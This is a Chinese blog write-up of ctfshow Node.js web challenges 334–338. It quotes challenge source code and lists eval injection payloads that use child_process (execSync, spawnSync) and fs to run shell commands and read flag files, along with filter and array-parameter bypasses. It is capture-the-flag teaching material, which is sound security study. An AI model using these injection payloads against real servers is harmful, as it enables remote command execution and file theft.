ctfshow——web入门334~338

最新推荐文章于 2025-07-31 15:38:52 发布

原创最新推荐文章于 2025-07-31 15:38:52 发布 · 669 阅读

17 ·

CC 4.0 BY-SA版权

文章标签：

#前端 #javascript #服务器

web入门334

提示里面给了压缩包，解压看看有什么东西

然后

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

有个 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

toUpperCase() 强制大写

web入门335

有个eval=

各种方法：

?eval=require('child_process').execSync('ls')

?eval=require('child_process').execSync('cat f*')

?eval=require('child_process').execSync('ls').toString()

?eval=require('child_process').execSync('cat fl00g.txt').toString()

?eval=require('child_process').spawnSync('ls').stdout.toString()

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

web入门336

一样，不过过滤了exec

?eval=require('child_process').spawnSync('ls').stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

还有一种：

传?eval=__filename可以看到路径为/app/routes/index.js

然后传?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

?eval=require('fs').readdirSync('.')

?eval=require('fs').readFileSync('fl001g.txt','utf-8')

web入门337

node.js拼接

console.log(5+[6,6]); //56,6

console.log("5"+6); //56

console.log("5"+[6,6]); //56,6

console.log("5"+["6","6"]); //56,6

?a[]=1&b[]=1

?a[a]=1&b[b]=1

反正就是数组绕过

web入门338

app.js

var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

var app = express();

//session
var identityKey = 'auth';
 
app.use(session({
  name: identityKey,
  secret: 'ctfshow_session_secret', 
  store: new FileStore(), 
  saveUninitialized: false, 
  resave: false,
  cookie: {
    maxAge: 60 * 60 * 1000 // 有效期，单位是毫秒
  }
}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/login', loginRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;